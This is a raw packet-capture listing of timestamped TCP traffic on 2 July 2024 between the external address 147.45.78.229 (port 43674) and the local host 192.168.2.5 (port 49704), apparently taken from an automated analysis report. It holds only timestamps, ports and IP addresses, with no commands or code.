Jul 2, 2024 22:52:22.285625935 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285633087 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285640955 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285720110 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285823107 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285831928 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285871029 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285878897 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285887003 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285989046 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286005020 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.286050081 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.286099911 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286108971 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286115885 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286161900 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.286261082 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286271095 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286317110 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.286365032 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286375046 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286384106 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286425114 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.286425114 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.286516905 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286526918 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286535025 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286544085 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286550999 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286571980 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.286590099 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.286628008 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286664963 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286673069 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286680937 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286715984 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.286719084 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286744118 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.286772966 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.286844969 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286963940 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286973000 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286979914 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.286988020 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.287010908 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.287043095 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.287091970 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.287101030 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.287107944 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.287117004 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.287364960 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.287398100 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.287419081 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.287426949 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.287442923 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.287451029 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.287457943 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.287465096 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.287472963 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.287481070 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.287560940 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.287569046 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.287576914 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.290364027 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.290486097 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.290497065 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.290594101 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.290689945 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.290698051 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.290824890 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.290832996 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.290841103 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.290975094 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.290983915 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.290992022 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.291189909 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.291846991 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292067051 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.292104006 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292113066 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292151928 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.292285919 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292316914 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292326927 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292335033 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292342901 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292361975 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.292387009 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.292392969 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292433977 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.292538881 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292547941 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292555094 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292594910 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.292596102 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.292632103 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292642117 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292649031 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292681932 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.292681932 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.292725086 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292736053 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292748928 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292757034 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292768002 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.292882919 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292891026 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292900085 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.292907000 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293068886 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293076992 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293085098 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293093920 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293226957 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293235064 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293242931 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293251038 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293258905 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293324947 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293333054 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293335915 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293451071 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293458939 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293535948 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293544054 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293550968 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293554068 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293572903 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293581009 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293587923 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293596029 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293859959 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293869019 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293876886 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293885946 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293895006 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293901920 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293941021 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293948889 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.293956041 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.298450947 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.298481941 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.298640013 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.298649073 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.298691988 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.298701048 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.298757076 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.298764944 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.298782110 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.298789978 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.298949003 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.299079895 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.299088001 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.299174070 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.299225092 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.299334049 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.299341917 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.299444914 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.299453020 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.299562931 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.299575090 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.299585104 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.299971104 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.299979925 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.299993038 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300000906 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300009966 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300046921 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300055027 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300401926 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300410032 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300417900 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300430059 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300437927 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300445080 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300460100 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300467014 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300474882 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300573111 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300580978 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300589085 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300595999 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300735950 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300744057 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300748110 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300755024 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300762892 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300770998 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300779104 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.300787926 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.301367998 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.301376104 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.301383972 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.301390886 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.302206993 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.302268982 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.302474976 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.307446957 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307495117 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307513952 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307516098 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.307529926 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307538033 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307547092 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307729959 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307738066 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307745934 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307753086 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307760000 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307766914 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307770014 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307777882 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307780981 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307784081 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307790995 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307837009 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307845116 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307930946 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307938099 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307945013 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307951927 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307959080 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307971001 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307979107 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307986975 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.307993889 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308001995 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308011055 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308021069 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308043003 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308049917 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308057070 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308063984 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308303118 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308310986 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308372021 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308381081 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308383942 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308387995 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308394909 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308403969 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308412075 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308419943 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308514118 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308530092 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308537960 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308545113 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308552027 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308559895 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308644056 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308650970 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308660030 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308670998 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308677912 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308685064 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308691978 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308698893 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308717966 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308726072 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308732986 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308748960 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308763027 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308770895 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308778048 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308784962 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308790922 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308799028 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308805943 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308813095 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308820009 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308829069 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.308876038 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.308950901 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.309190989 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309200048 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309206963 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309226990 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309235096 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309237957 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309245110 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309252977 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309259892 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309267044 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309272051 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309279919 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309288025 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309294939 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309302092 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309309006 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309357882 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309365988 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309374094 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309381008 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309387922 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309396029 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309403896 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309559107 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309566975 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309575081 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309582949 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309588909 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309596062 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309710979 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.309719086 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.312570095 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.312589884 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.312949896 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.313147068 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.313226938 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.313981056 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314018965 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314027071 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314069033 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314076900 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314084053 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314146042 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314153910 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314161062 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314271927 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314280987 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314289093 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314296007 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314302921 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314390898 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314399004 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314409018 CEST	43674	49704	147.45.78.229	192.168.2.5
